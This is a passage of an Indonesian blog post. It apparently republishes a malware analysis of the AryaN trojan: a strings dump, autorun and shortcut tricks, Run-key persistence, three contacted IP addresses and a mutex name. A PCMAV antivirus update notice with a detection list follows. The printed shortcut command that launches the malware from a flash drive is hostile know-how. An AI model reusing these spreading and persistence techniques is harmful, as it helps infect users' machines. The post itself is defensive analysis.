000002DAD295&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7'8-8B8I8a8o8z8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D2B1&nbsp;&nbsp; 000002DAD2B1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 949&gt;9J9c9i9</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D2D5&nbsp;&nbsp; 000002DAD2D5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 9&nbsp; :.:P:c:i:p:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D2F3&nbsp;&nbsp; 000002DAD2F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ;%;00000000D2FF&nbsp;&nbsp; 000002DAD2FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _&gt;m&gt;s&gt;x&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D329&nbsp;&nbsp; 000002DAD329&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;&amp;?+?;?A?G?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D35B&nbsp;&nbsp; 000002DAD35B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1*1V1d1q1~1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D379&nbsp;&nbsp; 000002DAD379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2,292F2S2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D383&nbsp;&nbsp; 000002DAD383&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2m2z2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D393&nbsp;&nbsp; 000002DAD393&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2l3v3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D3B5&nbsp;&nbsp; 000002DAD3B5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 4-42494?4D4J4W4_4g4p4v4</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D3E5&nbsp;&nbsp; 000002DAD3E5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4]5c5j5</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D401&nbsp;&nbsp; 000002DAD401&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6&amp;6:6@6X6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D40B&nbsp;&nbsp; 000002DAD40B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6q6w6~6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D413&nbsp;&nbsp; 000002DAD413&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7$757</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D41D&nbsp;&nbsp; 000002DAD41D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 778G8R8]8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D42F&nbsp;&nbsp; 000002DAD42F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 839C9L9</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D441&nbsp;&nbsp; 000002DAD441&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :C:T:o:x:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D44F&nbsp;&nbsp; 000002DAD44F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :3;00000000D459&nbsp;&nbsp; 000002DAD459&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ;g;~;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D467&nbsp;&nbsp; 000002DAD467&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; E&gt;N&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4AD&nbsp;&nbsp; 000002DAD4AD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ?=?Y?y?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4C7&nbsp;&nbsp; 000002DAD4C7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0E0Z0_0v0</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4DF&nbsp;&nbsp; 000002DAD4DF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1=1C1L1R1\1b1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4EF&nbsp;&nbsp; 000002DAD4EF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2 2+2C2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D501&nbsp;&nbsp; 000002DAD501&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3!3]3s3|3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D517&nbsp;&nbsp; 000002DAD517&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 4A4M4b4h4z4</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D52F&nbsp;&nbsp; 000002DAD52F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4(5755D5J5P5V5\5b5h5n5t5z5</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D719&nbsp;&nbsp; 000002DAD719&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6"6(6.646:6@6F6L6R6X6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D72F&nbsp;&nbsp; 000002DAD72F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6d6j6p6v6|6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D76F&nbsp;&nbsp; 000002DAD76F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7$7*7076700000000131D&nbsp;&nbsp; 000002DA1F1D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %userprofile%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001340&nbsp;&nbsp; 000002DA1F40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %appdata%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001358&nbsp;&nbsp; 000002DA1F58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %temp%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000013B4&nbsp;&nbsp; 000002DA1FB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\removethis_%d%d%d.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000015C8&nbsp;&nbsp; 000002DA21C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; hh':'mm':'ss</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000015F4&nbsp;&nbsp; 000002DA21F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; {%s}: %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001718&nbsp;&nbsp; 000002DA2318&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %temp%\oldfile.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000017A0&nbsp;&nbsp; 000002DA23A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Mozilla/5.0 (compatible)</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000017DC&nbsp;&nbsp; 000002DA23DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\%d%d%d.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001800&nbsp;&nbsp; 000002DA2400&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; explorer.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001820&nbsp;&nbsp; 000002DA2420&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Kernel32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001860&nbsp;&nbsp; 000002DA2460&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s-deadlock</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000018A4&nbsp;&nbsp; 000002DA24A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\SysWOW64</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">000000001D70&nbsp;&nbsp; 000002DA2970&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; advapi32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001D90&nbsp;&nbsp; 000002DA2990&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; comsupp.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001DAC&nbsp;&nbsp; 000002DA29AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001DC8&nbsp;&nbsp; 000002DA29C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wininet.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001DE4&nbsp;&nbsp; 000002DA29E4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shlwapi.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E00&nbsp;&nbsp; 000002DA2A00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; dnsapi.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E1C&nbsp;&nbsp; 000002DA2A1C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; user32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E38&nbsp;&nbsp; 000002DA2A38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ws2_32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E54&nbsp;&nbsp; 000002DA2A54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; psapi.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E6C&nbsp;&nbsp; 000002DA2A6C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ole32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E84&nbsp;&nbsp; 000002DA2A84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kernel32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001EA4&nbsp;&nbsp; 000002DA2AA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; msvcrt.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001EC0&nbsp;&nbsp; 000002DA2AC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; dwm.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001ED4&nbsp;&nbsp; 000002DA2AD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; alg.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001EE8&nbsp;&nbsp; 000002DA2AE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; csrss.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001F00&nbsp;&nbsp; 000002DA2B00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001F70&nbsp;&nbsp; 000002DA2B70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s-readfile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002048&nbsp;&nbsp; 000002DA2C48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; cmd.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000020BC&nbsp;&nbsp; 000002DA2CBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Software\Microsoft\Windows\CurrentVersion\Run</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002240&nbsp;&nbsp; 000002DA2E40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %temp%\deletethis.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002274&nbsp;&nbsp; 000002DA2E74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Removable_Drive.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000022BC&nbsp;&nbsp; 000002DA2EBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\{%s-%s}</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000022D8&nbsp;&nbsp; 000002DA2ED8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; /k "%s" Open %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002300&nbsp;&nbsp; 000002DA2F00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %windir%\System32\cmd.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002340&nbsp;&nbsp; 000002DA2F40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\Removable_Drive.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002378&nbsp;&nbsp; 000002DA2F78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002388&nbsp;&nbsp; 000002DA2F88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\%s.lnk</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002590&nbsp;&nbsp; 000002DA3190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\autorun.inf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000087C0&nbsp;&nbsp; 000002DAABC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000008CDC&nbsp;&nbsp; 000002DAB0DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; C:\Documents and Settings\Administrator\Application Data\svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000090EC&nbsp;&nbsp; 000002DAD0EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; C:\Documents and Settings\Administrator\Application Data\svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000009758&nbsp;&nbsp; 000002DAD758&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; egregregerfwde</code></span></li> </ol> </td><td class="code"><br /></td></tr> </tbody></table> </div> <br /> <b>C. Companion/File yang dibuat</b><br /> <b>1. Autorun.inf</b><br /> Autorun.inf sepertinya adalah perangkat wajib bagi malware yang menyebarkan companionya di flash disk. Memang bisa dikatakan bahwa AryaN berbeda dengan malware sebelumnya dalam source code autourun. Berikut ini adalah contohnya.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aryan/4.autorun.png" /></div> <br /> Umumnya, pada perintah untuk memanggil host malware yang terdapat didalam folder di flash disk seperti Open, Shell Open / Shell Explore tidaklah mendeskripsikan lokasi drive tersebut. Karena apabila pada komputer yang bersih drive letter removable disknya adalah tidak sama seperti perintah pada autorun, maka kemungkinan besar malware tersebut tidak akan bisa dieksekusi.<br /> <br /> <b>2. Shortcut dan Foder Backup</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aryan/5.shortcut.png" /></div> <br /> Gambar di atas menunjukan file yang ada di flash disk dirubah menjadi shortcut. sebenarnya, file aslinya dipindahkan kedalam folder {[nama user]-nama acak}. Selain itu, target pada shortcutnya juga sedikit berbeda.<br /> <br /> <div> <div class="syntaxhighlighter plain" id="highlighter_476206"> <table border="0" cellpadding="0" cellspacing="0"><tbody> <tr><td class="gutter"><div class="line number1 index0 alt2"> 1</div> </td><td class="code"><div class="container"> <div class="line number1 index0 alt2"> <code class="plain plain">C:\WINDOWS\system32\cmd.exe /k "F:\svhost.exe" Open F:\{Administrator-egregregerfwde}\rku37300509.exe</code></div> </div> </td></tr> </tbody></table> </div> </div> <br /> Untuk penjelasan lebih jauh mengenai parameter tersebut, bisa dengan cara buka command prompt / cmd.exe kemudian ketika perintah “cmd.exe /?”.<br /> <br /> <b>D. Hasil Infeksi</b><br /> Malware ini termasuk salah satu malware yang unik. Payload yang dilakukan oleh malware diluar perkiraan. Baik itu membackup file yang terdapat di flash disk kemudian digantikan dengan shortcut yang memiliki icon sama seperti file aslinya, atau melakukan koneksi ke beberapa IP seperti:<br /> <b>- 199.15.234.7<br /> - 91.217.153.113<br /> - 92.234.27.178</b><br /> <br /> Menambahkan value key pada startup agar bisa berjalaan saat proses startup.<br /> HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run<br /> <br /> <div> <div class="syntaxhighlighter plain" id="highlighter_162318"> <table border="0" cellpadding="0" cellspacing="0"><tbody> <tr><td class="gutter"><div class="line number1 index0 alt2"> <br /></div> <div class="line number2 index1 alt1"> <br /></div> <div class="line number3 index2 alt2"> <br /></div> <div class="line number4 index3 alt1"> <br /></div> <div class="line number5 index4 alt2"> <br /></div> </td><td class="code" style="text-align: left;"><div class="container"> <ol> <li><code class="plain plain">"svhost.exe"="C:\Documents and Settings\Administrator\Application Data\svhost.exe"</code></li> <li><code class="plain plain">"egregregerfwde"="C:\Documents and Settings\Administrator\Application Data\svhost.exe"</code></li> <li><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</li> <li><code class="plain plain">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code></li> <li><code class="plain plain">"svhost.exe"="C:\Documents and Settings\Administrator\Application Data\svhost.exe"</code></li> </ol> </div> </td></tr> </tbody></table> </div> </div> <br /> Untuk menandai bahwa dirinya sudah aktif di memory, AryaN membuat mutex dengan nama “<b>HGFSMUTEX000000000000f53a</b>”<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 250px; overflow: auto; text-align: left; width: 450px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aryan/6.mutex.png" /></div> <br /> <b>E. Pembersihan</b><br /> Pada PCMAV 5.5 Update Build4 ini, trojan AryaN dapat dibersihkan sampai tuntas.<br /> <br /> <b>PCMAV 5.5 Update Build4</b><br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.5 Update Build4 telah hadir dengan penambahan <b>104 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.5, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini: <br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.5 Update Build4:</b><br /> AryaN<br /> AryaN.inf<br /> AryaN.lnk<br /> Autoit-ReplaceIcon.L<br /> Autoit-ReplaceIcon.M<br /> Autoit-ReplaceIcon.N<br /> BanB<br /> Chu<br /> Craft3<br /> Craft3.tmp<br /> Elize.B<br /> ErrorLove.vbs<br /> ErrorLove.vbs.inf<br /> ErrorLove.vbs.txt<br /> FBSurprise<br /> FBSurprise.drp<br /> FBSurprise.exe.A<br /> FBSurprise.exe.B<br /> FBSurprise.job.A<br /> FBSurprise.job.B<br /> FBSurprise.jpg<br /> FBSurprise.tmp.A<br /> FBSurprise.tmp.B<br /> FBSurprise.tmp.C<br /> FluX<br /> FluX.DLL<br /> Flw<br /> FontPorn.B<br /> FontPorn.B.exe.A<br /> FontPorn.B.exe.B<br /> FontPorn.B.lnk<br /> FontPorn.B.tmp<br /> FontPorn.C<br /> FontPorn.C.ini<br /> Gen.VirVBS-BSoft<br /> GooDown<br /> Gphone<br /> HelloPhilippines<br /> HelloPhilippines.inf<br /> HelloPhilippines.ini<br /> HelloPhilippines.txt.A<br /> HelloPhilippines.txt.B<br /> IntreNat<br /> LegendMir<br /> LegendMir.dll<br /> Maximus-GmbH.A<br /> Mbzuchi<br /> NgrBot.A.dat.variant<br /> NgrBot.A.drp.A.variant<br /> NgrBot.A.drp.B.variant<br /> NgrBot.A.drp.C.variant<br /> NgrBot.A.exe.A.variant<br /> NgrBot.A.exe.B.variant<br /> NgrBot.A.inf.variant<br /> NgrBot.A.lnk.variant<br /> NgrBot.A.variant<br /> NgrBot.B.inf.variant<br /> NgrBot.B.variant<br /> NgrBot.C.variant<br /> NgrBot.D.variant<br /> NgrBot.E.variant<br /> NgrBot.F.variant<br /> NgrBot.G.variant<br /> NgrBot.H.variant<br /> Noa<br /> Noa.inf<br /> None<br /> Retfig<br /> Ric0.A<br /> Ric0.B<br /> Ric0.B.inf<br /> Ric0.C<br /> Romantic<br /> Romantic.inf<br /> Rose-Loren.F<br /> SevenTech<br /> SevenTech.host<br /> Shared-Ptr<br /> ShellExecuteA<br /> ShellExecuteA.dat<br /> ShellExecuteA.exe<br /> SmallSmile.vbs<br /> SmallSmile.vbs.inf<br /> Sopian<br /> Sopian.htm<br /> TODO<br /> TODO.drp<br /> TroSystem<br /> TroSystem.dat<br /> TroSystem.inf<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat<br /> UrFace<br /> VLyc<br /> VLyc.ico<br /> VLyc.url<br /> X-Sample.vbs.C<br /> X-Sample.vbs.C.inf<br /> X-Sample.vbs.C.ini<br /> X-Sample.vbs.C.mp3<br /> <br /> <br /> <span class="date"><span class="date"><span class="date"> PCMAV 5.5 Update Build4 telah tersedia dengan penambahan 104 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 23 database virus dari build3 yang hanya 81 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.5 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> </span></span></span><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <span class="date"><span class="date"><span class="date"><br /> </span></span></span></div> <span class="date"><span class="date"><span class="date"><br /> </span></span></span><br /> <div style="text-align: left;"> <span class="date"><span class="date"><span class="date"><span class="date"><b><span class="date"><span class="date"><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> </span></span></b></span></span></span></span></div> <ol style="text-align: left;"> <li><span class="date"><b><span class="date"><span class="date"><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.5 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.4 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.4 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.html"><b>PCMAV 5.4</b></a></span></span></b></span></li> <span class="date"><b><span class="date"> <span class="date"> <li><span style="color: #ff6666; font-weight: bold;">no.2 <span style="color: red;">(</span></span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build4)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.5 Valhalla/vdb</span></li> </span></span></b></span></ol> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><br /> </span><br /> </span></b></span></div> <div style="color: red; text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-size: large;"><b><i>Download Here</i></b></span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.5 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> </span> </span></b></span></div> <div class="main"> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;"> </span><span style="font-weight: bold;"><a href="http://www.indowebster.com/pcmav_5_5_valhalla_ekodomba_blogspot_.html">PCMAV 5.5</a> </span><span style="font-weight: normal;">(idws)</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;">Mirror Link :</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><b><a href="http://www.4shared.com/file/DiZoRCk_/PCMAV_55_Valhalla__ekodombablo.html">PCMAV 5.5</a> </b><span style="font-weight: normal;">(4shared)</span> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><b><a href="http://www.ziddu.com/download/16483263/PCMAV5.5Valhallaekodomba.blogspot.rar.html">PCMAV 5.5</a> </b><span style="font-weight: normal;">(ziddu)</span> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><br /> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build3 :</span> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;"> </span><a href="http://www.indowebster.com/vdb_build4__1.html"><span style="font-size: 100%;"><b>Update Build 4</b></span></a><span style="font-weight: bold;"> </span><span style="font-weight: normal;">(idws)</span><span style="font-weight: bold;">&nbsp;</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"> </span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;">Mirror Link :</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/_tZthzue/vdb__Build4__6.html">Update Build 4</a> 